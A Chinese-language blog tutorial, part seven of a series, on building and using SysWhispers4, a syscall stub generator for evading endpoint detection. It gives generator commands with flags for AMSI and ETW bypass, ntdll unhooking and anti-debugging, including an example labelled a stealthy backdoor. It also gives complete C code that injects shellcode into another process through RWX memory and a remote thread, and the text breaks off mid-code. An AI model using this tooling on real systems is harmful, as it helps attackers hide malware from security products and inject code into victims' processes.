乐于分享
好东西不私藏

edr绕过工具 SysWhispers4 源码分析系列(七)

edr绕过工具 SysWhispers4 源码分析系列(七)

官网:http://securitytech.cc

七、SysWhispers4 完整使用指南

本文档提供 SysWhispers4 从环境搭建到实际应用的完整使用教程,包含详细的步骤说明、代码示例、编译配置和调试技巧。通过本文档,你将能够快速上手并在实际项目中使用 SysWhispers4。

1. 环境准备与安装

1.1 Python 环境要求

系统要求:

  • Windows 10/11(推荐 22H2 或更新版本)
  • Python 3.10 或更高版本
  • 管理员权限(某些功能需要)

检查 Python 版本:

  1. python --version
  2. # 应该显示:Python 3.10.x 或更高

如果版本过低,下载安装:

  1. 访问 https://www.python.org/downloads/
  2. 下载 Python 3.10+ 安装包
  3. 安装时勾选 “Add Python to PATH”

1.2 获取 SysWhispers4

方法 1:Git 克隆(推荐)

  1. git clone https://github.com/CyberSecurityUP/SysWhispers4.git
  2. cd SysWhispers4

方法 2:手动下载

  1. # 1. 访问项目页面
  2. https://github.com/CyberSecurityUP/SysWhispers4
  3. # 2. 点击 "Code" → "Download ZIP"
  4. # 3. 解压到本地
  5. cd SysWhispers4-main

验证文件结构:

  1. dir //b
  2. # 应该看到:
  3. # syswhispers.py          - 主脚本
  4. # core\                   - 核心模块目录
  5. # data\                   - 数据文件目录
  6. # README.md               - 项目文档

1.3 编译器环境

MSVC (Visual Studio) – 推荐

安装 Visual Studio 2019/2022:

  1. 下载 Visual Studio Installer
  • 访问 https://visualstudio.microsoft.com/
  • 下载 Community Edition(免费)
  1. 安装时选择工作负载:
  • ✅ “使用 C++ 的桌面开发”
  • ✅ Windows 10/11 SDK
  • ✅ MSVC v142/v143 生成工具
  1. 验证安装:
  1. cl
  2. # 应该显示 Microsoft (R) C/C++ Optimizing Compiler

配置环境变量:

  1. REM 进入 VS 开发者命令提示符
  2. "C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\VsDevCmd.bat"
  3. REM 或使用开始菜单:
  4. # Visual Studio 2022 → Developer Command Prompt for VS 2022

MinGW-w64(可选)

安装 MinGW:

  1. 下载 MinGW-w64
  • 访问 https://www.mingw-w64.org/
  • 或使用 MSYS2: https://www.msys2.org/
  1. 添加 MinGW 到 PATH:
  1. # 编辑系统环境变量
  2. PATH=%PATH%;C:\msys64\mingw64\bin
  1. 验证安装:
  1. g++--version
  2. # 应该显示 g++ (MinGW-w64) x.x.x

1.4 更新 SSN 表(可选)

为什么要更新?

  • 获取最新 Windows 版本的 SSN
  • 支持新发布的 Windows 版本
  • 提高静态解析准确性

运行更新脚本:

  1. cd SysWhispers4
  2. python scripts\update_syscall_table.py

手动更新(如果脚本失败):

  1. # 1. 访问 j00ru 仓库
  2. https://github.com/j00ru/windows-syscalls
  3. # 2. 下载最新的 syscall 表
  4. # 3. 替换 data/syscalls_nt_x64.json

1.5 快速测试

运行帮助信息:

  1. python syswhispers.py --help

预期输出:

  1. usage: syswhispers.py [-h][-p PRESET][-f FUNCTIONS][-a ARCH][-c COMPILER]
  2. [-m METHOD][-r RESOLVE][--obfuscate][--encrypt-ssn]
  3. ...
  4. SysWhispers4-- NT syscall stub generator with advanced EDR evasion
  5. Function selection (at least one required):
  6. -p,--preset          common | injection | evasion | token | stealth |...
  7. -f,--functions       Comma-separated list of NT function names
  8. Target:
  9. -a,--arch            x64 (default)| x86 | wow64 | arm64
  10. -c,--compiler        msvc (default)| mingw | clang
  11. Techniques:
  12. -m,--method          embedded (default)| indirect | randomized | egg
  13. -r,--resolve         freshycalls (default)|static| hells_gate |...
  14. Evasion/ obfuscation:
  15. --obfuscate           Randomize stub ordering and inject junk instructions
  16. --encrypt-ssn         XOR-encrypt SSN values at rest
  17. ...

2. 生成指定 syscall 代码

2.1 使用预设(最简单)

预设列表:

预设名
函数数
用途
common
25
通用进程/线程/内存操作
injection
20
进程注入(APC/线程/Section)
evasion
15
AV/EDR 规避查询
token
6
Token 操作
stealth
31
最大规避(injection + evasion)
file_ops
7
文件 I/O 操作
transaction
7
事务回滚(Doppelgänging)
all
62
全部函数

示例 1:生成常见 syscall

  1. python syswhispers.py --preset common

示例 2:生成注入相关 syscall

  1. python syswhispers.py --preset injection

示例 3:组合多个预设

  1. python syswhispers.py --preset common,injection

2.2 自定义函数列表

查看可用函数:

  1. python syswhispers.py --list-functions

输出示例:

  1. Available functions:
  2. NtAdjustPrivilegesToken
  3. NtAllocateVirtualMemory
  4. NtAllocateVirtualMemoryEx
  5. NtAlertResumeThread
  6. NtCreateThreadEx
  7. NtOpenProcess
  8. NtWriteVirtualMemory
  9. ...(共64个)

示例 1:单个函数

  1. python syswhispers.py --functions NtAllocateVirtualMemory

示例 2:多个函数

  1. python syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx,NtWriteVirtualMemory

示例 3:预设 + 自定义

  1. python syswhispers.py --preset common --functions NtQueryInformationProcess

2.3 选择技术选项

选择 SSN 解析方法

推荐选项:

  1. # FreshyCalls(默认,Hook 免疫)
  2. python syswhispers.py --preset common --resolve freshycalls
  3. # Hell's Gate(快速,但怕 Hook)
  4. python syswhispers.py --preset common --resolve hells_gate
  5. # Halo's Gate(邻居扫描)
  6. python syswhispers.py --preset common --resolve halos_gate
  7. # Tartarus'Gate(增强版)
  8. python syswhispers.py --preset common --resolve tartarus
  9. # SyscallsFromDisk(最彻底)
  10. python syswhispers.py --preset common --resolve from_disk
  11. # RecycledGate(组合拳)
  12. python syswhispers.py --preset common --resolve recycled
  13. # HW Breakpoint(硬件断点)
  14. python syswhispers.py --preset common --resolve hw_breakpoint
  15. # Static(静态表,最快但不灵活)
  16. python syswhispers.py --preset common --resolve static

选择调用方式

  1. # Embedded(直接 syscall,默认)
  2. python syswhispers.py --preset common --method embedded
  3. # Indirect(间接跳转,RIP 在 ntdll)
  4. python syswhispers.py --preset common --method indirect
  5. # Randomized(随机 gadget,反追踪)
  6. python syswhispers.py --preset common --method randomized
  7. # Egg(无静态特征)
  8. python syswhispers.py --preset common --method egg

2.4 启用规避技术

基础规避:

  1. # 混淆(随机顺序 + 垃圾指令)
  2. python syswhispers.py --preset common --obfuscate
  3. # SSN 加密(XOR 加密静态 SSN)
  4. python syswhispers.py --preset common --encrypt-ssn
  5. # 栈伪造(合成调用栈)
  6. python syswhispers.py --preset common --stack-spoof

高级规避:

  1. # ETW 绕过
  2. python syswhispers.py --preset common --etw-bypass
  3. # AMSI 绕过
  4. python syswhispers.py --preset common --amsi-bypass
  5. # ntdll 解钩
  6. python syswhispers.py --preset common --unhook-ntdll
  7. # 反调试
  8. python syswhispers.py --preset common --anti-debug
  9. # 睡眠加密
  10. python syswhispers.py --preset common --sleep-encrypt

最大规避模式:

  1. python syswhispers.py --preset stealth \
  2. --method randomized --resolve recycled \
  3. --obfuscate --encrypt-ssn --stack-spoof \
  4. --etw-bypass --amsi-bypass --unhook-ntdll \
  5. --anti-debug --sleep-encrypt

2.5 架构和编译器选项

选择架构:

  1. # x64(默认)
  2. python syswhispers.py --preset common --arch x64
  3. # x86(32 位)
  4. python syswhispers.py --preset common --arch x86
  5. # WoW64(32 位在 64 位系统)
  6. python syswhispers.py --preset common --arch wow64
  7. # ARM64(Windows on ARM)
  8. python syswhispers.py --preset common --arch arm64

选择编译器:

  1. # MSVC/MASM(默认)
  2. python syswhispers.py --preset common --compiler msvc
  3. # MinGW/GAS
  4. python syswhispers.py --preset common --compiler mingw
  5. # Clang/GAS
  6. python syswhispers.py --preset common --compiler clang

2.6 自定义输出

修改前缀:

  1. # 默认前缀:SW4_
  2. python syswhispers.py --preset common --prefix SW4
  3. # 自定义前缀:MY_
  4. python syswhispers.py --preset common --prefix MY
  5. # 无前缀
  6. python syswhispers.py --preset common --prefix ""

修改输出文件名:

  1. # 默认:SW4Syscalls.*
  2. python syswhispers.py --preset common
  3. # 自定义:MySyscalls.*
  4. python syswhispers.py --preset common --out-file MySyscalls

修改输出目录:

  1. # 当前目录(默认)
  2. python syswhispers.py --preset common
  3. # 指定目录
  4. python syswhispers.py --preset common --out-dir output\my_project

2.7 完整生成示例

示例 1:标准注入工具

  1. python syswhispers.py --preset injection \
  2. --arch x64 --compiler msvc \
  3. --method embedded --resolve freshycalls \
  4. --prefix SW4 --out-file SW4Injection

生成文件:

  • SW4Injection_Types.h
  • SW4Injection.h
  • SW4Injection.c
  • SW4Injection.asm

示例 2:隐蔽后门

  1. python syswhispers.py --preset stealth \
  2. --method randomized --resolve recycled \
  3. --obfuscate --encrypt-ssn \
  4. --etw-bypass --amsi-bypass \
  5. --prefix BEACON --out-file BeaconSyscalls

示例 3:研究测试

  1. python syswhispers.py --functions NtQueryInformationProcess,NtQuerySystemInformation \
  2. --resolve static --method embedded \
  3. --out-dir research\process_info

3. 编译生成的代码

3.1 MSVC 编译方法

命令行编译

步骤 1:打开开发者命令提示符

  1. 开始菜单VisualStudio2022
  2. DeveloperCommandPromptfor VS 2022

步骤 2:编译 ASM 文件

  1. ml64 //Fo SW4Syscalls_asm.obj SW4Syscalls.asm

参数说明:

  • ml64 – MASM x64 编译器
  • /c – 只编译不链接
  • /Fo – 指定输出文件名

步骤 3:编译 C 文件

  1. cl //EHsc/Fo SW4Syscalls.obj SW4Syscalls.c

参数说明:

  • cl – MSVC C 编译器
  • /c – 只编译不链接
  • /EHsc – 启用 C++ 异常处理
  • /Fo – 指定输出文件名

步骤 4:编译用户代码

  1. cl //EHsc/Fo main.obj main.cpp

步骤 5:链接所有目标文件

  1. link main.obj SW4Syscalls.obj SW4Syscalls_asm.obj \
  2. /OUT:program.exe

完整批处理脚本:

  1. @echo off
  2. REM build_msvc.bat
  3. REM 设置 VS 环境
  4. call "C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\VsDevCmd.bat"
  5. REM 编译汇编
  6. ml64 //Fo SW4Syscalls_asm.obj SW4Syscalls.asm
  7. if errorlevel 1exit/1
  8. REM 编译 C
  9. cl //EHsc/Fo SW4Syscalls.obj SW4Syscalls.c
  10. if errorlevel 1exit/1
  11. REM 编译用户代码
  12. cl //EHsc/Fo main.obj main.cpp
  13. if errorlevel 1exit/1
  14. REM 链接
  15. link main.obj SW4Syscalls.obj SW4Syscalls_asm.obj /OUT:program.exe
  16. if errorlevel 1exit/1
  17. echo Build successful!
  18. program.exe

Visual Studio 项目集成

步骤 1:创建新项目

  1. FileNewProject
  2. Visual C++WindowsDesktopWindowsDesktopApplication

步骤 2:添加生成的文件

  1. SolutionExplorer右键项目AddExistingItem...
  2. 选择:SW4Syscalls_Types.h, SW4Syscalls.h, SW4Syscalls.c, SW4Syscalls.asm

步骤 3:配置项目属性

C/C++ 配置:

  1. ProjectPropertiesConfigurationProperties C/C++
  2. -GeneralAdditionalIncludeDirectories: $(ProjectDir)
  3. -LanguageCompileAs:Compileas C Code(/TC)

链接器配置:

  1. ProjectPropertiesConfigurationPropertiesLinker
  2. -InputAdditionalDependencies:添加.obj 文件

自定义生成步骤(用于 ASM):

  1. ProjectPropertiesConfigurationPropertiesBuildEventsPre-BuildEvent
  2. CommandLine: ml64 //Fo"$(OutDir)SW4Syscalls_asm.obj""$(ProjectDir)SW4Syscalls.asm"

步骤 4:修改源代码

  1. // main.cpp
  2. #include"SW4Syscalls.h"
  3. int main(){
  4. // 初始化
  5. if(!SW4_Initialize()){
  6.         printf("Initialization failed\n");
  7. return1;
  8. }
  9. // 使用 syscall
  10. // ...
  11. return0;
  12. }

3.2 MinGW 编译方法

命令行编译

步骤 1:打开 MSYS2/MinGW 终端

  1. msys2_shell.cmd -mingw64

步骤 2:编译所有文件

  1. # 编译 SysWhispers4 生成的 C 文件(含内联汇编)
  2. g++--masm=intel -O2 SW4Syscalls.-o SW4Syscalls.o
  3. # 编译用户代码
  4. g++--masm=intel -O2 main.cpp -o main.o
  5. # 链接
  6. g++ main.o SW4Syscalls.-o program.exe -static

参数说明:

  • -masm=intel – 使用 Intel 语法内联汇编
  • -O2 – 优化级别 2
  • -static – 静态链接(避免依赖 DLL)

完整编译脚本:

  1. #!/bin/bash
  2. # build_mingw.sh
  3. set-e
  4. echo "Compiling SysWhispers4 code..."
  5. g++--masm=intel -O2 SW4Syscalls.-o SW4Syscalls.o
  6. echo "Compiling user code..."
  7. g++--masm=intel -O2 main.cpp -o main.o
  8. echo "Linking..."
  9. g++ main.o SW4Syscalls.-o program.exe -static
  10. echo "Build successful!"
  11. ./program.exe

CMake 集成

CMakeLists.txt 示例:

  1. cmake_minimum_required(VERSION 3.15)
  2. project(MySyscallProject)
  3. set(CMAKE_CXX_STANDARD 17)
  4. set(CMAKE_CXX_STANDARD_REQUIRED ON)
  5. # 添加 SysWhispers4 生成的文件
  6. set(SW4_SOURCES
  7.     SW4Syscalls.c
  8.     SW4Syscalls_stubs.c
  9. )
  10. # 设置编译选项
  11. set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -masm=intel")
  12. set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -masm=intel")
  13. # 创建可执行文件
  14. add_executable(program.exe
  15.     main.cpp
  16.     ${SW4_SOURCES}
  17. )
  18. # 链接必要的库
  19. target_link_libraries(program.exe
  20.     ntapi  # 如果需要 NT API
  21. )

编译命令:

  1. mkdir build
  2. cd build
  3. cmake -"MinGW Makefiles"..
  4. cmake --build .

3.3 Clang 编译方法

使用 Clang 编译:

  1. # 编译
  2. clang-cl //EHsc/Fo SW4Syscalls.obj SW4Syscalls.c
  3. clang-cl //EHsc/Fo main.obj main.cpp
  4. # 链接(使用 lld-link)
  5. lld-link main.obj SW4Syscalls.obj /OUT:program.exe

3.4 常见问题解决

问题 1:找不到头文件

错误信息:

  1. fatal error C1083:Cannot open include file:'windows.h':No such file or directory

解决方案:

  1. REM 确保安装了Windows SDK
  2. REM 使用 VS DeveloperCommandPrompt
  3. call "C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\VsDevCmd.bat"

问题 2:链接错误 – 重复符号

错误信息:

  1. error LNK2005: _SW4_Initialize already definedin SW4Syscalls.obj

解决方案:

  • 检查是否重复添加了源文件
  • 确保头文件有 #pragmaonce 保护
  • 清理并重新编译
  1. del*.obj *.exe
  2. build_msvc.bat

问题 3:MASM 语法错误

错误信息:

  1. error A2070: invalid instruction operands

解决方案:

  • 确保使用 ml64 而不是 ml(32 位)
  • 检查 ASM 文件编码(应该是 UTF-8 或 ANSI)
  • 重新生成 SysWhispers4 代码

问题 4:MinGW 内联汇编错误

错误信息:

  1. error: unexpected token in argument list

解决方案:

  • 添加 -masm=intel 标志
  • 确保使用 GNU AS 语法
  • 检查 SysWhispers4 生成时选择了 --compiler mingw

4. 在 C/C++ 项目中调用 syscall

4.1 基本调用模式

标准调用流程:

  1. #include<windows.h>
  2. #include<stdio.h>
  3. #include"SW4Syscalls.h"
  4. int main(){
  5. // 步骤 1: 初始化(必须!)
  6. if(!SW4_Initialize()){
  7.         printf("[!] Initialization failed\n");
  8. return1;
  9. }
  10.     printf("[*] SysWhispers4 initialized\n");
  11. // 步骤 2: 调用 syscall
  12.     NTSTATUS status;
  13. // 示例:查询进程信息
  14.     PROCESS_BASIC_INFORMATION pbi ={0};
  15.     ULONG returnLength =0;
  16.     status = SW4_NtQueryInformationProcess(
  17. GetCurrentProcess(),
  18. ProcessBasicInformation,
  19. &pbi,
  20. sizeof(pbi),
  21. &returnLength
  22. );
  23. // 步骤 3: 检查返回值
  24. if(NT_SUCCESS(status)){
  25.         printf("[*] NtQueryInformationProcess succeeded\n");
  26.         printf("    PebBaseAddress: %p\n", pbi.PebBaseAddress);
  27. }else{
  28.         printf("[!] NtQueryInformationProcess failed: 0x%08X\n", status);
  29. }
  30. return0;
  31. }

4.2 内存操作示例

分配可执行内存:

  1. #include"SW4Syscalls.h"
  2. BOOL InjectShellcode(HANDLE hProcess, LPCVOID shellcode, SIZE_T size){
  3.     PVOID remoteBase = NULL;
  4.     SIZE_T regionSize = size;
  5. // 1. 分配内存
  6.     NTSTATUS status = SW4_NtAllocateVirtualMemory(
  7.         hProcess,
  8. &remoteBase,
  9. 0,
  10. &regionSize,
  11.         MEM_COMMIT | MEM_RESERVE,
  12.         PAGE_EXECUTE_READWRITE
  13. );
  14. if(!NT_SUCCESS(status)){
  15.         printf("[!] NtAllocateVirtualMemory failed: 0x%08X\n", status);
  16. return FALSE;
  17. }
  18.     printf("[+] Allocated memory at %p\n", remoteBase);
  19. // 2. 写入 shellcode
  20.     status = SW4_NtWriteVirtualMemory(
  21.         hProcess,
  22.         remoteBase,
  23. (PVOID)shellcode,
  24.         size,
  25.         NULL
  26. );
  27. if(!NT_SUCCESS(status)){
  28.         printf("[!] NtWriteVirtualMemory failed: 0x%08X\n", status);
  29. return FALSE;
  30. }
  31.     printf("[+] Shellcode written\n");
  32. // 3. (可选)修改保护
  33.     ULONG oldProtect;
  34.     status = SW4_NtProtectVirtualMemory(
  35.         hProcess,
  36. &remoteBase,
  37. &regionSize,
  38.         PAGE_EXECUTE_READ,
  39. &oldProtect
  40. );
  41. return TRUE;
  42. }

4.3 进程注入示例

完整注入流程:

  1. #include<windows.h>
  2. #include<stdio.h>
  3. #include"SW4Syscalls.h"
  4. // Shellcode 示例(弹出计算器)
  5. unsignedchar calc_shellcode[]=
  6. "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
  7. "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
  8. // ... (省略,实际使用时替换为真实 shellcode)
  9. ;
  10. BOOL InjectToProcess(DWORD targetPid){
  11.     HANDLE hProcess = NULL;
  12.     HANDLE hThread = NULL;
  13.     CLIENT_ID clientId ={0};
  14.     OBJECT_ATTRIBUTES oa ={0};
  15. // 1. 打开目标进程
  16. InitializeObjectAttributes(&oa, NULL,0, NULL, NULL);
  17.     clientId.UniqueProcess=(HANDLE)(ULONG_PTR)targetPid;
  18.     NTSTATUS status = SW4_NtOpenProcess(
  19. &hProcess,
  20.         PROCESS_ALL_ACCESS,
  21. &oa,
  22. &clientId
  23. );
  24. if(!NT_SUCCESS(status)){
  25.         printf("[!] NtOpenProcess failed: 0x%08X\n", status);
  26. return FALSE;
  27. }
  28.     printf("[+] Opened process %d\n", targetPid);
  29. // 2. 分配内存
  30.     PVOID baseAddress = NULL;
  31.     SIZE_T size =sizeof(calc_shellcode);
  32.     status = SW4_NtAllocateVirtualMemory(
  33.         hProcess,
  34. &baseAddress,
  35. 0,
  36. &size,
  37.         MEM_COMMIT | MEM_RESERVE,
  38.         PAGE_EXECUTE_READWRITE
  39. );
  40. if(!NT_SUCCESS(status)){
  41.         printf("[!] NtAllocateVirtualMemory failed: 0x%08X\n", status);
  42.         SW4_NtClose(hProcess);
  43. return FALSE;
  44. }
  45.     printf("[+] Allocated memory at %p\n", baseAddress);
  46. // 3. 写入 shellcode
  47.     status = SW4_NtWriteVirtualMemory(
  48.         hProcess,
  49.         baseAddress,
  50.         calc_shellcode,
  51. sizeof(calc_shellcode),
  52.         NULL
  53. );
  54. if(!NT_SUCCESS(status)){
  55.         printf("[!] NtWriteVirtualMemory failed: 0x%08X\n", status);
  56.         SW4_NtClose(hProcess);
  57. return FALSE;
  58. }
  59.     printf("[+] Shellcode written\n");
  60. // 4. 创建远程线程
  61.     status = SW4_NtCreateThreadEx(
  62. &hThread,
  63.         THREAD_ALL_ACCESS,
  64.         NULL,
  65.         hProcess,
  66.         baseAddress,
  67.         NULL,
  68.         FALSE,
  69. 0,
  70. 0,
  71. 0,
  72.         NULL
  73. );
  74. if(!NT_SUCCESS(status)){
  75.         printf("[!] NtCreateThreadEx failed: 0x%08X\n", status);
  76.         SW4_NtClose(hProcess);
  77. return FALSE;
  78. }
  79.     printf("[+] Remote thread created\n");
  80. // 5. 等待线程结束(可选)
  81.     SW4_NtWaitForSingleObject(hThread, FALSE, NULL);
  82. // 6. 清理句柄
  83.     SW4_NtClose(hThread);
  84.     SW4_NtClose(hProcess);
  85. return TRUE;
  86. }
  87. int main(){
  88. // 初始化
  89. if(!SW4_Initialize()){
  90.         printf("[!] Init failed\n");
  91. return1;
  92. }
  93. // 注入到记事本(PID 需要替换)
  94. if(InjectToProcess(1234)){
  95.         printf("[+] Injection successful!\n");
  96. }else{
  97.         printf("[-] Injection failed\n");
  98. }
  99. return0;
  100. }

4.4 信息查询示例

查询进程详细信息:

  1. #include<windows.h>
  2. #include<stdio.h>
  3. #include"SW4Syscalls.h"
  4. voidQueryProcessInfo(HANDLE hProcess){
  5.     NTSTATUS status;
  6. // 查询基本信息
  7.     PROCESS_BASIC_INFORMATION pbi ={0};
  8.     status = SW4_NtQueryInformationProcess(
  9.         hProcess,
  10. ProcessBasicInformation,
  11. &pbi,
  12. sizeof(pbi),
  13.         NULL
  14. );
  15. if(NT_SUCCESS(status)){
  16.         printf("PEB Address: %p\n", pbi.PebBaseAddress);
  17.         printf("Unique Process ID: %lu\n",(ULONG)(ULONG_PTR)pbi.UniqueProcessId);
  18. }
  19. // 查询映像文件名
  20.     WCHAR imageName[MAX_PATH]={0};
  21.     status = SW4_NtQueryInformationProcess(
  22.         hProcess,
  23. ProcessImageFileName,
  24.         imageName,
  25. sizeof(imageName),
  26.         NULL
  27. );
  28. if(NT_SUCCESS(status)){
  29.         printf("Image Name: %S\n", imageName);
  30. }
  31. // 查询命令行
  32.     UNICODE_STRING cmdLine ={0};
  33.     status = SW4_NtQueryInformationProcess(
  34.         hProcess,
  35. ProcessCommandLineInformation,
  36. &cmdLine,
  37. sizeof(cmdLine),
  38.         NULL
  39. );
  40. if(NT_SUCCESS(status)){
  41.         printf("Command Line: %.*S\n", cmdLine.Length/2, cmdLine.Buffer);
  42. }
  43. }
  44. int main(){
  45. if(!SW4_Initialize())
  46. return1;
  47. // 查询自身进程
  48. QueryProcessInfo(GetCurrentProcess());
  49. return0;
  50. }

4.5 高级用法技巧

技巧 1:条件编译

  1. #ifdef USE_DIRECT_SYSCALL
  2. #include"SW4Syscalls.h"
  3. #defineNtAllocateVirtualMemory SW4_NtAllocateVirtualMemory
  4. #defineNtWriteVirtualMemory SW4_NtWriteVirtualMemory
  5. #else
  6. // 使用 Win32 API
  7. #defineNtAllocateVirtualMemoryVirtualAlloc
  8. #defineNtWriteVirtualMemoryWriteProcessMemory
  9. #endif
  10. voidMyFunction(){
  11. // 代码相同,根据宏选择实现
  12. NtAllocateVirtualMemory(...);
  13. }

技巧 2:封装为类

  1. classSyscallWrapper{
  2. public:
  3. boolInitialize(){
  4. return SW4_Initialize()== TRUE;
  5. }
  6.     PVOID AllocateMemory(HANDLE hProcess, SIZE_T size){
  7.         PVOID base = NULL;
  8.         NTSTATUS status = SW4_NtAllocateVirtualMemory(
  9.             hProcess,&base,0,&size,
  10.             MEM_COMMIT, PAGE_EXECUTE_READWRITE
  11. );
  12. return NT_SUCCESS(status)? base :nullptr;
  13. }
  14. boolWriteMemory(HANDLE hProcess, PVOID address, LPCVOID data, SIZE_T size){
  15. return NT_SUCCESS(SW4_NtWriteVirtualMemory(
  16.             hProcess, address,(PVOID)data, size, NULL
  17. ));
  18. }
  19. };
  20. // 使用
  21. SyscallWrapper sw;
  22. sw.Initialize();
  23. PVOID mem = sw.AllocateMemory(GetCurrentProcess(),0x1000);

技巧 3:错误处理宏

  1. #define CHECK_NT_STATUS(status, msg) \
  2. if(!NT_SUCCESS(status)){ \
  3.         printf("[!] %s failed: 0x%08X\n", msg, status); \
  4. goto cleanup; \
  5. }
  6. voidSafeOperation(){
  7.     NTSTATUS status;
  8.     status = SW4_NtAllocateVirtualMemory(...);
  9.     CHECK_NT_STATUS(status,"NtAllocateVirtualMemory");
  10.     status = SW4_NtWriteVirtualMemory(...);
  11.     CHECK_NT_STATUS(status,"NtWriteVirtualMemory");
  12. // ...
  13. cleanup:
  14. // 清理资源
  15. }

5. 调试与验证 syscall 调用

5.1 基础调试方法

使用 printf 调试

  1. #include<stdio.h>
  2. #include"SW4Syscalls.h"
  3. voidDebugTest(){
  4.     printf("[*] Starting test...\n");
  5. if(!SW4_Initialize()){
  6.         printf("[!] SW4_Initialize failed\n");
  7. return;
  8. }
  9.     printf("[+] SW4_Initialize succeeded\n");
  10.     PVOID base = NULL;
  11.     SIZE_T size =0x1000;
  12.     NTSTATUS status = SW4_NtAllocateVirtualMemory(
  13. GetCurrentProcess(),
  14. &base,
  15. 0,
  16. &size,
  17.         MEM_COMMIT,
  18.         PAGE_READWRITE
  19. );
  20.     printf("[*] NtAllocateVirtualMemory returned: 0x%08X\n", status);
  21.     printf("[*] Base address: %p\n", base);
  22. if(NT_SUCCESS(status)){
  23.         printf("[+] Memory allocated successfully\n");
  24. }else{
  25.         printf("[-] Memory allocation failed\n");
  26. }
  27. }

使用 OutputDebugString

  1. #include<windows.h>
  2. #define DEBUG_PRINT(fmt,...)do{ \
  3. char msg[512]; \
  4.     snprintf(msg,sizeof(msg), fmt,##__VA_ARGS__); \
  5. OutputDebugStringA(msg); \
  6. }while(0)
  7. voidTestWithDebugString(){
  8.     DEBUG_PRINT("[*] Test started\n");
  9. if(!SW4_Initialize()){
  10.         DEBUG_PRINT("[!] Init failed\n");
  11. return;
  12. }
  13.     DEBUG_PRINT("[+] Init succeeded\n");
  14. }

5.2 WinDbg 调试

附加到进程

  1. 0:000>!process 00 program.exe
  2. PROCESS ffff8a0012345080
  3. SessionId:1Cid:1234Peb:0000000012345000
  4. Image: program.exe
  5. 0:000>.process //p ffff8a0012345080
  6. Implicit process is now ffff8a0012345080

设置断点

  1. 0:000> bp program!main
  2. 0:000> bp program!SW4_Initialize
  3. 0:000> bp program!SW4_NtAllocateVirtualMemory

查看调用栈

  1. 0:000> k
  2. # Child-SP          RetAddr
  3. 00000000e1`23456780 00007ff7`12345678 program!SW4_NtAllocateVirtualMemory
  4. 01000000e1`23456788 00007ff7`12345680 program!main
  5. 02000000e1`23456790 00007ff8`56789abc kernel32!BaseThreadInitThunk
  6. 03000000e1`23456798 00007ff8`6789abcd ntdll!RtlUserThreadStart

查看寄存器

  1. 0:000> r
  2. rax=0000000000000000 rbx=0000000000000000
  3. rcx=00000000000004bc rdx=001234567890abcd
  4. r8=0000000000000000  r9=001234567890dcba
  5. rip=00007ff7`12345678 program!SW4_NtAllocateVirtualMemory
  6. 0:000> r eax
  7. eax=00000018  ; SSN = 24

单步执行

  1. 0:000> t  ;Trace(step into)
  2. 0:000> p  ;Proceed(step over)
  3. 0:000> g  ;Go(continue execution)

查看内存

  1. 0:000> dq @rsp L8      ;查看栈上8 QWORD
  2. 0:000> db @rcx L100    ;查看 RCX 指向的100字节
  3. 0:000> dps @r10 L10    ;查看 R10 指向的指针

查看反汇编

  1. 0:000> u program!SW4_NtAllocateVirtualMemory L15
  2. program!SW4_NtAllocateVirtualMemory:
  3. 00007ff7`12345678 4c8bd9          mov     r10,rcx
  4. 00007ff7`1234567b b818000000      mov     eax,18h
  5. 00007ff7`12345680 0f05            syscall
  6. 00007ff7`12345682 c3              ret

5.3 验证 syscall 执行

方法 1:使用 Process Monitor

  1. 下载 Process Monitor (ProcMon)
  2. 运行 ProcMon,设置过滤器:
  • Process Name → is → program.exe → Add
  1. 运行程序,观察 syscall 活动
  2. 应该看到大量 Native API 调用

方法 2:使用 API Monitor

  1. 下载 API Monitor (rohitab.com)
  2. 选择要监控的 API:
  • Native API → Process Functions
  • Native API → Memory Functions
  1. 启动程序,监控 API 调用
  2. 验证没有 Win32 API 调用(只有 Native API)

方法 3:使用 ETW 分析

  1. # 启用 syscall ETW 提供者
  2. logman create trace sysmon -o sysmon.etl -"Microsoft-Windows-Sysmon"0xffffffff0xff-ets
  3. # 运行程序
  4. .\program.exe
  5. # 停止跟踪
  6. logman stop sysmon
  7. # 转换为 XML
  8. tracerpt sysmon.etl -o sysmon.xml
  9. # 分析 XML 中的 syscall 事件

5.4 性能分析

测量 syscall 耗时

  1. #include<chrono>
  2. #include<stdio.h>
  3. doubleMeasureSyscall(DWORD iterations){
  4. auto start = std::chrono::high_resolution_clock::now();
  5. for(DWORD i =0; i < iterations; i++){
  6.         LARGE_INTEGER delay ={-1};
  7.         SW4_NtDelayExecution(FALSE,&delay);
  8. }
  9. auto end = std::chrono::high_resolution_clock::now();
  10.     std::chrono::duration<double, std::milli> elapsed = end - start;
  11. return elapsed.count()/ iterations;
  12. }
  13. int main(){
  14. if(!SW4_Initialize())
  15. return1;
  16. double avgTime =MeasureSyscall(1000);
  17.     printf("Average syscall time: %.3f ms\n", avgTime);
  18. return0;
  19. }

对比 Win32 API vs Direct Syscall

  1. voidComparePerformance(){
  2. constint ITERATIONS =10000;
  3. // Win32 API
  4. auto start1 = std::chrono::high_resolution_clock::now();
  5. for(int i =0; i < ITERATIONS; i++){
  6. Sleep(0);
  7. }
  8. auto end1 = std::chrono::high_resolution_clock::now();
  9. // Direct Syscall
  10. auto start2 = std::chrono::high_resolution_clock::now();
  11. for(int i =0; i < ITERATIONS; i++){
  12.         LARGE_INTEGER delay ={0};
  13.         SW4_NtDelayExecution(FALSE,&delay);
  14. }
  15. auto end2 = std::chrono::high_resolution_clock::now();
  16. auto time1 = std::chrono::duration_cast<std::chrono::microseconds>(end1 - start1).count();
  17. auto time2 = std::chrono::duration_cast<std::chrono::microseconds>(end2 - start2).count();
  18.     printf("Win32 Sleep: %lu µs (%.2f µs/call)\n", time1,(double)time1/ITERATIONS);
  19.     printf("Direct Syscall: %lu µs (%.2f µs/call)\n", time2,(double)time2/ITERATIONS);
  20.     printf("Speedup: %.2fx\n",(double)time1/time2);
  21. }

5.5 常见问题排查

问题 1:Initialize() 失败

症状:

  1. [!]Initialization failed

排查步骤:

  1. // 添加详细错误信息
  2. BOOL result = SW4_Initialize();
  3. printf("SW4_Initialize returned: %d\n", result);
  4. if(!result){
